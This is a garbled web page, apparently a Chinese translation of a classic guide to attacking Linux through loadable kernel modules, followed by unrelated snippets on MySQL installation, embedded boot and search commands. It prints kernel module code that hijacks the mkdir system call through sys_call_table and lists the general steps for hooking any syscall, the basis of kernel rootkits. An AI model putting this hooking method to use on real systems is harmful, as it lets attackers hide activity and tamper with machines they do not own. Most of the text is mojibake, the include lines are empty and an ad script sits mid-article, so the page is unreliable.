Linuxϵͳ¿ÉÐ¶ÔØÄÚºËÄ£¿éÍêȫָÄÏ_ÖÐ
µÚ¶þ²¿·Ö ½¥Èë¼Ñ¾³
2.1 ÈçºÎ½Ø»ñϵͳµ÷ÓÃ
ÏÖÔÚÎÒÃÇ¿ªÊ¼ÈëÇÖLKM£¬ÔÚÕý³£Çé¿öÏÂLKMsÊÇÓÃÀ´À©Õ¹Äں˵Ä(ÌØ±ðÊÇÄÇЩӲ¼þÇý¶¯)¡£È»¶øÎÒÃǵđHacks’×öһЩ²»Ò»ÑùµÄÊÂÇé¡£ËûÃÇ»á½Ø»ñϵͳµ÷Óò¢ÇÒ¸ü¸ÄËûÃÇ£¬ÎªÁ˸ıäϵͳijЩÃüÁîµÄÏìÓ¦·½Ê½¡£
ÏÂÃæµÄÕâ¸öÄ£¿é¿ÉÒÔʹµÃÈκÎÓû§¶¼²»ÄÜ´´½¨Ä¿Â¼¡£ÕâÖ»²»¹ýÊÇÎÒÃÇËæºó·½·¨µÄÒ»¸öССÑÝʾ¡£
window.google_render_ad();
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe ±»ÒýÈ룬ËùÒÔÎÒÃÇ¿ÉÒÔ´æÈ¡Ëû*/
int (*orig_mkdir)(const char *path);
/*Ôʼϵͳµ÷ÓÃ*/
int hacked_mkdir(const char *path)
{
return 0;
/*ÆäËûÒ»ÇÐÕý³££¬³ýÁËн¨²Ù×÷£¬¸Ã²Ù×÷ʲôҲ²»×ö*/
}
int init_module(void)
/*³õʼ»¯Ä£¿é*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*Ð¶ÔØÄ£¿é*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*»Ö¸´mkdirϵͳµ÷Óõ½ÔÀ´µÄÄĸö*/
}
±à Òë²¢Æô¶¯Õâ¸öÄ£¿é(¼û1.1)¡£È»ºó³¢ÊÔн¨Ò»¸öĿ¼£¬Äã»á·¢ÏÖ²»Äܳɹ¦¡£ÓÉÓÚ·µ»ØÖµÊÇ0(´ú±íÒ»ÇÐÕý³£)ÎÒÃǵò»µ½Èκγö´íÐÅÏ¢¡£ÔÚÒÆÇøÄ£¿éÖ®ºó£¬ÎÒÃÇ ÓÖ¿ÉÒÔн¨Ä¿Â¼ÁË¡£ÕýÈçÄãËù¿´µ½µÄ£¬ÎÒÃÇÖ»ÐèÒª¸Ä±äsys_call_table(¼û1.2)ÖÐÏà¶ÔÓ¦µÄÈë¿Ú¾Í¿ÉÒԽػñµ½ÏµÍ³µ÷ÓÃÁË¡£
½Ø»ñϵͳµ÷ÓõÄͨ³£²½ÖèÈçÏÂ:
ÕÒµ½ÄãÐèÒªµÄϵͳµ÷ÓÃÔÚsys_call_table[]ÖеÄÈë¿Ú(¿´Ò»ÑÛinclude/sys/syscall.h)
±£´æsys_call_table[x]µÄ¾ÉÈë¿ÚÖ¸Õë¡£(ÔÚÕâÀïx´ú±íÄãËùÏëÒª½Ø»ñµÄϵͳµ÷ÓõÄË÷Òý)
½«Äã×Ô¼º¶¨ÒåµÄеĺ¯ÊýÖ¸Õë´æÈësys_call_table[x]
Äã»áÒâʶµ½±£´æ¾ÉµÄϵͳµ÷ÓÃÖ¸ÕëÊÇÊ®·ÖÓÐÓõģ¬ÒòΪÔÚÄãµÄе÷ÓÃÖÐÄã»áÐèÒªËûÀ´Ä£ÄâÔʼµ÷Óᣵ±ÄãÔÚдһ¸ö'Hack-LKM'ʱÄãËùÃæ¶ÔµÄµÚÒ»¸öÎÊÌâÊÇ:
ÎÒµ½µ×¸Ã½Ø»ñÄĸöϵͳµ÷ÓÃ?
2.2һЩÓÐȤµÄϵͳµ÷ÓÃ
Äã²¢²»ÊÇÒ»¸ö¹ÜÀíÄں˵ÄÉϵۣ¬Òò´ËÄã²»ÖªµÀÿһ¸öÓû§µÄÓ¦ÓóÌÐò»òÕßÃüÁîµ½µ×ʹÓÃÁËÄÇЩϵͳµ÷Óá£Òò´ËÎÒ»á¸øÄãһЩÌáʾÀ´°ïÖúÄãÕÒµ½»ñµÃ¿ØÖƵÄϵͳµ÷Óá£
¶ÁÔ´´úÂë¡£ÔÚÒ»¸öÏólinuxÕâÑùµÄϵͳÖУ¬Äã¿ÉÒÔÕÒµ½ÈκÎÒ»¸öÓû§(»òÕß¹ÜÀíÔ±)ËùÓõijÌÐòµÄÔ´´úÂë¡£Ò»µ©Äã·¢ÏÖÁËij¸ö»ù±¾µÄº¯Êý£¬Ïñdup,open,write.....תÏòb
ÏÂÃæ¿´¿´include/sy
Ïà¹ØÎĵµ£º
MYSQL°²×°
//½âѹ±àÒë°²×°
# tar xzvf mysql-5.0.27.tar.gz
# cd mysql-5.0.27
# ./configure -prefix=/home/redadmin/mysql
# make
# make install
# cd /home/redadmin/mysql/
# cp share/mysql/my-medium.cnf ./
# mv my-medium.cnf my.cnf
// my.confÎļþÐÞ¸Ä
# vi my.cnf
ÐÞ¸Äǰ£º
port &nb ......
#1
¹ØÓÚǶÈëʽϵͳµÄÆô¶¯
(SHARE FOR ALL)
ǶÈëʽ
Linux
Æô¶¯·ÖΪÁ½¸ö²¿·Ö£¬ÏµÍ³Òýµ¼Óë
Linux
Æô¶¯¡£ÏµÍ³Òýµ¼½«Íê³É
Linux
×°ÈëÄÚ´æÇ°£¬³õʼ»¯
CPU
ºÍÏà¹Ø
IO
É豸£¬²¢½«
Linux
µ÷ÈëÄÚ´æµÄ¹¤×÷¡£ÏµÍ³Òýµ¼Ö÷ÒªÓÉ
BootLoader
ʵÏÖ¡£ÔÚ
BootLoader
½«
Linux
Äں˵÷ÈëÄÚ´æÖ®ºó£¬½«È¨Á¦½»¸ø
LinuxK ......
whereis <³ÌÐòÃû³Æ>
²éÕÒÈí¼þµÄ°²×°Â·¾¶
-b Ö»²éÕÒ¶þ½øÖÆÎļþ
-m Ö»²éÕÒ°ïÖúÎļþ
-s Ö»²éÕÒÔ´´úÂë
-u ÅųýÖ¸¶¨ÀàÐÍÎļþ
-f Ö»ÏÔʾÎļþÃû
-B <Ŀ¼> ÔÚÖ¸¶¨Ä¿Â¼Ï²éÕÒ¶þ½øÖÆÎļþ
-M <Ŀ¼> ÔÚÖ¸¶¨Ä¿Â¼Ï²éÕÒ°ïÖúÎļþ
-S <Ŀ¼> ÔÚÖ¸¶¨Ä¿Â¼Ï²éÕÒÔ´´úÂë
locate <ÎļþÃû³Æ>
ÔÚÎļþË÷ ......
grep¡¢fgrepºÍegrepÃüÁî
Õâ×éÃüÁîÒÔÖ¸¶¨Ä£Ê½ËÑË÷Îļþ£¬²¢Í¨ÖªÓû§ÔÚʲôÎļþÖÐËÑË÷µ½ÓëÖ¸¶¨µÄģʽƥÅäµÄ×Ö·û´®£¬²¢´òÓ¡³öËùÓаüº¬¸Ã×Ö·û´®µÄÎı¾ÐУ¬ÔÚ¸ÃÎı¾ÐеÄ×îÇ°ÃæÊǸÃÐÐËùÔÚ µÄÎļþÃû¡£grepÃüÁîÒ»´ÎÖ»ÄÜËÑË÷Ò»¸öÖ¸¶¨µÄģʽ£»egrepÃüÁî¼ìË÷À©Õ¹µÄÕýÔò±í´ïʽ£¨°üÀ¨±í´ïʽ×éºÍ¿ÉÑ¡Ï£»fgrepÃüÁî¼ìË÷¹Ì¶¨×Ö·û´®£¬Ëü²» ......
¼ò½é
½« Linux²Ù×÷ϵͳÓÃÓÚ·þÎñÆ÷ÔÚÏÖÔÚÊÇÔ½À´Ô½ÆÕ±éÁË¡£Òò´Ë,ÈëÇÖLinuxÔÚ½ñÌìÒ²±äµÃÔ½À´Ô½ÓÐȤ.Ŀǰ×îºÃµÄ¹¥»÷LinuxµÄ¼¼Êõ¾ÍÊÇÐÞ¸ÄÄں˴úÂë¡£ÓÉ ÓÚÒ»ÖÖ½Ð×ö¿ÉÐ¶ÔØÄÚºË(LoadableKernelModules(LKMs))µÄ»úÖÆ,ÎÒÃÇÓпÉÄܱàдÔÚÄں˼¶±ðÔËÐеĴúÂë,¶øÕâÖÖ´úÂë¿ÉÒÔÔÊÐíÎÒÃÇ ½Ó´¥µ½²Ù×÷ϵͳÖзdz£Ãô¸ÐµÄ²¿·Ö¡£
ÔÚ¹ýÈ¥ÓÐһЩºÜº ......